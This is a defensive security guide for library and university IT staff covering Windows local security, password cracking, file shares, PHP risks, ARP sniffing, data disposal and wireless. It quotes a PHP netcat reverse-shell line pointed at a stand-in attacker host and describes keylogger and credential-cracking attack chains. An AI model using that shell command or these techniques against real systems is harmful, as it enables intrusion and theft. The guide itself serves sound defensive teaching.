Information Security in Campus and Open Environments
Adrian Duane Crenshaw
Version 0.91
(NOTE: This is a MUCH expanded version of an older article. I intend to keep it updated as new topics arise. E-mail me if you you have ideas for additions. Newest version is here.)
Much of an information security
professional's job involves keeping outsiders away from the internal network. A
great deal of time and money is spent on firewalls and Intrusion Detection
Systems to protect server and client machines from threats coming from the
Internet, limiting some attack vectors to only computers on the LAN. Physical
security is also taken into consideration with access cards and locked doors to
keep unwanted visitors off of the local network. This is all fine and good for
corporate environments, but what about open environments like libraries and
university campuses? When an organization's purpose is the dissemination of
knowledge, the paradigm (don't you just love that word) of information security
shifts tremendously and one can not be sure that all users on the LAN are
completely benevolent. This article will be geared towards techs at libraries
and schools and will attempt to address common security problems that may pop up
at these institutions. I'll gear the solutions towards Open Source, freeware,
and base operating system security in a Windows XP/2k environment to keep the
information useful to the largest number of people. Not all of us have the
budget to buy software like Deep Freeze or other products to protect our patron
workstations. Too many articles recommend expensive solutions when there are
plenty of free or cheap solutions available. Links to most of the software
mentioned as well as sites for further research can be found in the endnotes of
this article.
A word about terminology
I'll generally use the term patron to
refer to students, faculty, staff and general visitors except where a more
specific term is needed. Also, I will use the term attacker or deviant user
instead of "hacker" or "cracker" because the later terms have so many different
meanings depending on who you talk to (a hacker is a wood cutter and a cracker
is some white dude from Georgia). Some folks like the terms White Hat Hacker and
Grey Hat Hacker, but those are still too flexible (I prefer to consider myself a
Plaid Hat Hacker).
A different kind of environment
Institutions like Universities and
Libraries are different from the corporate world. You can't physically lock the
patrons out of every computer at your facility. The entire mission of a library
or university is to give patrons the tools and information they need to learn
and the faculty what they need to teach. At the same time a system administrator
has to protect staff and patron workstations from deviant users on the network.
Every information security professional worries about internal attacks, but this
worry is greatly amplified in a campus or open environment where so many users
have physical access to the computers and the network.
So how do we hold back the hordes
when the barbarians are already past the gates? In this article I hope to point
out some of the common security problems with campus environments and some of
the solutions. Many problems may not be solvable because the solution would be
counter to the mission of your organization, but with a watchful eye many
troubles can be averted.
Local Security on Windows Boxes
It's an old computer security axiom
that if an attacker has physical access to a computer, then he has complete
access to the software and data on that computer. It's well known that all one
has to do to get a blank local Administrator password on a Windows 2000 box is
to delete the SAM file (on most Win2k systems: c:\WINNT\system32\config\SAM), a
trivial thing to do on a FAT32 file system with a DOS boot disk. Think you're
safe because you use NTFS and/or XP? Think again. With a handy Linux boot disk
1 an attacker can reset any local password, including the
Administrator account. There is also Bart's PE Builder 2 that
lets the user make a bootable CD with a cut down version of Windows XP that
gives the user complete read/write access to NTFS drives. By using Sala's
Password Renew 3 from a PE Builder boot CD attackers can
change any local password they want, including Administrator, or add new admin
level accounts altogether.
Now some reader may be thinking:
"Those are just the patron access machines - my staff workstations and file
servers are still safe because they are behind locked doors." Let me share my
little horror story about network privilege escalation:
First local frat boy Steven becomes a
local admin on a workstation using a boot disk. He then copies off the SAM and
SYSTEM files for later cracking with Cain 4 or L0phtcrack
5 (for exact details on how this is done see the links provided in
the end notes 6 7). Many folks use the same local admin
passwords, allowing Steven to attack other boxes from across the network using
the cracked credentials. He then installs a key catcher like WS Keylogger
8, or maybe something like Fake Gina
9 on the box.
Later on, one of the support staff with admin privileges to the file servers and
most of the workstations on campus logs in to do some work and in the process
has his user name and password saved for later retrieval by Steven. Now Steven
has access to most of the boxes on the network.
How does one fight against this
problem? Using NTFS helps, but it is not an absolute solution as any Linux boot
CD can be used to copy off the files. Putting passwords on the BIOS and setting
it to only boot from the hard drive can help, but if you are going to do that
you have to go all the way and physically lock the case. Otherwise the attacker
can just open up the case and pull the battery or reset the right jumper to get
in. Generally the physical locking of the station causes as many problems for
the support staff that have to image the system (using Ghost or a similar tool)
as it causes for the attacker, but if you don't plan to nuke and rebuild the
machine often then locking the case can be a very good idea. To keep attackers
from easily cracking your SAM files you can disable the storage of LM hashes
10. Another thing to keep in mind is that if you use a password
longer than fourteen characters no LM hash will be stored for it. NT hashes can
also be cracked of course, but LM hashes are much more vulnerable because they
are single case and broken into two easily cracked seven byte chunks. Up to date
anti-virus software and regular scans for common key loggers is another good
idea. Also setting up regular password expirations can help to mitigate the
effects of key loggers and password cracking.
Simple Passwords
How many times have you seen someone
use a dictionary word as a local Administrator password? If an attacker can gain
admin on a workstation using a boot disk, or just copy off the SAM and SYSTEM
files from the hard disk, it's trivial to crack dictionary passwords using the
tools mentioned before, even if LM hash storage is turned off. Samdump2
11 and John the Ripper 12 can be run from a single
boot CD to perform the crack (See the Auditor boot CD mentioned in the end
notes). Attackers can use tools like Brutus 13 or THC-Hydra
14 from across the network to try to crack accounts, but this
much slower then a local attack.
Ensure that password policies do not
allow easy-to-guess passwords and that someone is watching the event logs for
signs of a brute force attack. Forced password changes for the support staff may
be a good idea in some cases, but frequent password changes will cause some
staff to write their password down and leave it where someone malicious could
find it (a post-it note on the monitor is popular). Also avoid using Social
Security Numbers as default passwords. Social Security information goes across
too many desks at a university to be considered secure. Even work-study students
may have access to databases of Social Security Numbers, and such information
regularly makes it to recycle containers unshredded. The same thing goes for
other personal information that's easy to find or guess.
Turn off File Sharing and Unneeded Services
Using a host based firewall like the
one built in the Windows XP SP2 or ZoneAlarms can be a good idea, but better yet
is not to have possibly vulnerable services running in the first place. Turning
off file sharing on computers that do not need it is a must. Many types of
attacks can be averted if an attacker does not have access to administrative
shares. Those faculty and staff who must use file and printer sharing should be
taught how to set proper share permissions. By default, Windows 2000 gives the
Everyone group full read and write access to shares, and Windows XP gives just
Read to the Everyone group. To give an example of how bad this can be, let's
assume a secretary in one of the offices wants to share a database of student
names, Social Security Numbers, and addresses with others in the office. She
simply right clicks on the folder she wants to share and takes all of the
defaults. Now one of the students is poking around on the network to see what
computers are out there and what shares they can get into. They could just be
curious, or they could be looking for other students that have shared out their
MP3 and movie collections. They may just browse around using Network
Neighborhood, or use an automated tool like Legion 15 or
SoftPerfect's NetScan 16 to find all of the network shares
available to them in a certain IP range. While looking around the student comes
across a share called "Student Database"; two guesses what kind of information
is in it. Scan your own network for open file shares before someone else does.
Besides Legion and NetScan there's also ShareEnum 17 which can
scan for shares by Domain/Workgroup or IP range and report what permissions
different groups have to the shares.
Disabling unneeded services like
Personal Web Server, SNMP, Simple TCP/IP Services and others can also go a long
way to cutting down on potential exploits. Even a system that is behind on
service packs and hot fixes can't be exploited if the vulnerable services aren't
there to begin with. Turn off anything that is not used and pay attention to
what is being installed on the network.
Unread Logs
Watch the web and security event
logs. There are many times where I would not have noticed attackers on the
network if it were not for looking in Event Viewer for failed login attempts. Of
course logging must be turned on for this to work so open up MMC (Microsoft
Management Console), add Security Configuration and Analysis, and setup logging
of failed logins and access attempts. Better yet, set up a GPO (Group Policy
Object) to automatically configure security auditing when a machine logs on to
the network.
If an IDS (Intrusion Detection
System) is running at the facility make sure someone is looking at the logs. An
IDS like Snort 18 is useless if no one actually looks at what
is reported.
Web/ASP/PHP
Most universities give students and
staff the ability to create their own web pages on a campus web server.
Sometimes the users can even create ASP or PHP files for their website to make
them more dynamic. With PHP installed and configured insecurely a user could run
an arbitrary program in their web folder, for example Netcat, with a command
like this:
$x = shell_exec("nc AttackingBoxIP 30 -e cmd ");
The previous command shovels a shell
back to the attackers, allowing them command line access to the web server and
from there they could leap frog to other machines and have their identity
obscured as that of the web server. Active Server Pages have similar
functionality (Wscript.shell). Using methods similar to these, a user could view
the source code of other Active Server Pages (possibly revealing ODBC
passwords), or if the web servers file system is Fat32 or the NTFS permissions
are overly permissive, they could edit other web pages or system files. The same
thing goes for Apache/*nix web servers with overly broad permissions (chmod 666
is the mark of the beast when it comes to insecure file permissions). To help
limit these risks always use proper file permissions and limit what a user can
script (see http://www.php.net for information on using the safe_mode directive
in PHP, see Microsoft Knowledgebase article Q278319 for limiting the use of
Wscript.shell in Active Server Pages).
Shared Passwords
I've worked in environments where
system administration authority is centralized and the central management won't
give the support staff at regional facilities the access rights they need to get
their jobs done. This may be done in the name of security, but it can have a
negative effect on the overall security of the organization. If support staff
members need certain rights they should be given them, otherwise it leads to
password sharing and the use of single accounts that have many users. This can
cause major problems for accountability and damage control. Let's say Kevin has
rights to add new machines into the domain, but his staff does not. The central
administration does not want to give anyone else the needed rights but Kevin.
For Kevin and his staff to get their jobs done Kevin must give his password to
his staff members, but what if someone decides to do something "deviant" with
the account? The responsible party would be harder to trace because so many
staff members have access to the account. Another example is when a support
staff member is given the local Administrator passwords to workstations instead
of being put into a Domain security group. If that employee is later terminated
it's much harder to contain the damage they can do because even if they are
taken out of the support staff security groups they still know other staff's
passwords and the local Administrator passwords. It's very important to
implement a password change policy for when staff leaves the organization.
Insecure Protocols and Sniffing
When possible, insecure protocols
that pass credentials in plain text across the network should not be used.
Common examples of such insecure protocols are FTP, telnet, POP3, SMTP, and
HTTP. In their place use encrypted protocols like SFTP, SSH (Secure Shell), and
HTTPS when possible. Protocols like FTP may be hard to switch away from because
the clients and servers for more secure protocols like SFTP are not as readily
available. FTP clients come with every recent version of Windows (ftp.exe from
the command line and Explorer from a GUI), but free clients that support SFTP,
like FileZilla 19 and PSFTP
20, can be
downloaded.
Even with a switched network it's not
hard for an attacker on the same subnet/VLAN to use Ettercap
21
or Dsniff 22 from an Auditor boot CD
23 to
do some arpspoofing (also know as ARP Poisoning) and redirect traffic through
their host for the purpose of sniffing 24. These tools can
even parse out user names and passwords automatically, making the attacker's job
easy. If the attacker arpspoofs between the gateway and the FTP server he can
sniff the traffic and extract user names and passwords as users are trying to
get their data from offsite, and the same thing goes for SMTP and POP3. Even
with SFTP, SSL, and SSH, passwords can still be sniffed with Ettercap because it
has the ability to proxy those types of connections. The user might get a
warning that the public key of the server they are trying to get to has changed
or may not be valid, but how many users just click past those kinds of messages
without actually reading them?
Since an attacker has to be on the
same subnet/VLAN as the box he is arpspoofing it's a good idea to split the
staff and public networks into at least two subnets/VLANS (and possibly put a
firewall between them). If you wish to be on the look out for potential sniffers
on your network there are a few tools that can help. ARPWatch
25
will log MAC address to IP mappings and can alert system administrators to
changes that may signify that someone is arpspoofing the network. Tools like
Sentinel 26 and Sniffdet
27 can be used to
ferret out hosts that have their network card in promiscuous mode (accepting all
traffic the NIC can see, not just broadcasts and traffic destined for its MAC
address). For more information on sniffing and arpspoofing see the link provided
in the footnotes 28.
Trashing
Be careful what you throw away. Make
sure printouts with patron information are disposed of properly. A good cross
cut paper shredder should do the trick, but if you're very paranoid you may want
to look into incineration. Make sure all disk based media is also destroyed or
wiped properly. Just deleting the contents of a disk is not enough; tools like
Brian Kato's Restoration 29 can be used to search the slack
space on disks, hard drives and flash media for deleted files. There are several
effective methods for destroying digital data before trashing old media. Media
like diskettes and CDs/DVDs can be broken apart, or shredders can be bought that
are especially designed to do the job. The most cost effective means is to take
a pair of tough shears and cut the diskette or CD into bits, but make sure
goggles are worn to protect the wearers eyes from flying shards. Hard drives and
flash media can be wiped with tools like Eraser 30 which
securely overwrites data on the hard drive so that even magnetic force
microscopy techniques 31 will have a hard time recovering any
of the data. If your organization does not plan to donate the hardware after
they are finished with it they can obtain a large hard drive degausser to
permanently scramble the disks. Just keep in mind that the drive will be
unusable after it's degaussed.
Patch, Patch, Patch
While making sure that unneeded
services are disabled limits the scope of potential exploits, patching is still
important. Know what systems are on the network and patch them in a timely
manner. If most of your workstations are Windows based look into setting up a
WSUS or SUS Server 32 at your facility and push out updates
automatically using a GPO (Group Policy Object). For Linux boxes make sure that
you choose a distribution that has an easy way to update packages as security
vulnerabilities are found. I personally like Debian based systems since most of
the time all that is needed is a quick "apt-get update;apt-get dist-upgrade"
command to update all of the installed packages. Most distributions will have
and update application of some kind so check the vendor's website for
information on applying updates. For third party application that are not
covered by the update tools built into the OS go to the trouble of having
someone at your facility sign up with the vendors mailing list so that they are
notified when a new version of the software is released.
Know what's out there
Patching is very important, but you
have to know what's running on your network before you can patch it. Open Source
tools like Nmap 33 and Nessus
34 can be used
to find out what kinds of operating systems and services are running on your
network. WMI scripts and Microsoft Baseline Security Analyzer
35
can be used to find out what service packs and hot fixes a Windows box is
running. Some might be surprised how many machines on their network are running
outdated, exploit-vulnerable operating systems and software. Once you know what
Operating Systems and services are out there go patch them.
A Word on Wireless
If your facility offers 802.11 (A, B
or G) wireless connectivity quite a few new issues arise. This topic should be
in an article onto itself, but I'll mention a few major points here.
Since you can't control what patrons
have on their laptops and other wireless devices it's harder to keep certain
kinds of malware off of the network. A worm that's blocked by your Internet
facing firewall may have no problem spreading from an infected laptop that a
patron brings onto the wireless network. A good practice is to have the wireless
side of the network firewalled from the wired side.
Assuming you offer completely open
Wi-Fi access keep in mind that all of the traffic can be sniffed. This may not
be an issue to you, but it's something patrons should be aware of. Most of the
information provided in the "Insecure Protocols and Sniffing" section of this
article applies to Wi-Fi as well. WEP (Wired Equivalent Privacy) and WPA (Wi-Fi
Protected Access) can be used to encrypt data sent on the wireless network but
there are both ungainly to set up on computers your facility does not control
(your patrons laptops and other wireless devices). WEP is nearly useless in open
environments like a campus since anyone with the key can read the data sent from
other wireless stations. WEP also does not allow for individual use
authentication if your organization wants to know who did what when and where.
WPA with a PSK (pre-shared key) is nice in that even with every user using the
same PSK they can't sniff each others network traffic because of TKIP (Temporal
Key Integrity Protocol). Like WEP, WPA using a PSK does not allow for individual
user authentication. Luckily WPA will also work with a 802.1X authentication
server, but that may be a harder solution to implement then a simple VPN.
Another problem with WPA is getting support for it on older hardware; sometimes
the proper drivers and firmware are hard to come by. The easiest solution in
many cases is to just set up a user authenticated VPN (Virtual Private Network)
using a Windows 2000/2003 (or even a Windows XP box, though I'm not recommending
it) or a Linux server.
Some will recommend using MAC address
filtering as a form of authentication. I personally am not in favor of using MAC
address filtering as it's less flexible, does not offer encryption of the data
by itself, and is easy to get around. MAC address filtering alone may keep out
the novice, but a knowledgeable attacker will fire up a passive wardriving tool
like Kismet 36 and look for valid client MAC addresses as they
connect. They will then set their wireless cards MAC address to that of a valid
client 37.
Conclusion
In closing let me say that an
information security professional in a campus environment is fighting a losing
battle from the start. By their very nature university and library systems are
more open and accessible than corporate systems and must remain so to be useful
to the patrons, students, staff, and faculty who use them. Even though you can't
make your campus' or library's network completely secure and still useable, you
can do your best to limit the efforts of the casual attacker. The less casual
ones you can hire.
Special thanks to Nancy, Spyrus, Tiger Shark, TheHorse13 and HTRegz for
reviewing this article.
Adrian Crenshaw
Irongeek@irongeek.com
http://www.irongeek.com
1 Offline NT Password & Registry Editor, Bootdisk / CD
http://home.eunet.no/~pnordahl/ntpasswd/bootdisk.html
2 Bart's PE Builder
http://www.nu2.nu/pebuilder/
3 Sala's Password Renew for PE Builder
http://www.sala.pri.ee/
4 Cain
http://www.oxid.it/cain.html
5 L0phtcrack
http://www.atstake.com/products/lc/
6 Cracking Syskey and the SAM on Windows XP, 2000 and NT 4 using Open
Source Tools
http://www.irongeek.com/i.php?page=security/localsamcrack2
7 Cracking Windows 2000 And XP Passwords With Only Physical Access
http://www.irongeek.com/i.php?page=security/localsamcrack
8 White Scorpion Keylogger
http://www.white-scorpion.nl/programs/programs.html
9 Fake Gina
http://www.ntsecurity.nu
10 Disable LM hash storage
http://support.microsoft.com/default.aspx?scid=KB;EN-US;q299656&
11 SAMDump2
http://studenti.unina.it/~ncuomo/syskey/
12 John the Ripper
http://www.openwall.com/john/
13 Brutus
http://www.hoobie.net/brutus/
14 THC-Hydra
http://www.thc.org/releases.php
15 Legion
http://www.securityfocus.com/tools/110
16 SoftPerfect's NetScan
http://www.softperfect.com/products/networkscanner/
17 ShareEnum
http://www.sysinternals.com/ntw2k/source/shareenum.shtml
18 Snort IDS
http://www.snort.org/
19 Filezilla
http://filezilla.sourceforge.net/
20 PSFTP
http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html
21 Ettercap
http://ettercap.sourceforge.net/
22 Dsniff
http://www.monkey.org/~dugsong/dsniff/
23 Auditor security collection boot CD
http://new.remote-exploit.org/?page=auditor
24 Basics of Arpspoofing and getting around a switch
http://www.irongeek.com/i.php?page=security/arpspoof
25 ARPWatch
http://www-nrg.ee.lbl.gov/
26 Sentinel
http://www.packetfactory.net/Projects/sentinel/
27 Sniffdet
http://sniffdet.sourceforge.net/
28 A Quick Intro to Sniffers
http://www.irongeek.com/i.php?page=security/AQuickIntrotoSniffers
29 Brian Kato's Restoration
http://www.geocities.jp/br_kato/
30 Eraser
http://www.heidi.ie/eraser/
31 Secure Deletion of Data from Magnetic and Solid-State Memory
http://www.usenix.org/publications/library/proceedings/sec96/full_papers/gutmann/
32 Microsoft's WSUS or SUS Server
http://www.microsoft.com/windowsserversystem/updateservices/default.mspx
33 Nmap
http://www.insecure.org/
34 Nessus
http://www.nessus.org
35 Microsoft Baseline Security Analyzer
http://www.microsoft.com/technet/security/tools/mbsahome.mspx
36 Kismet
http://www.kismetwireless.net/
37 Changing Your MAC Address
http://www.irongeek.com/i.php?page=security/changemac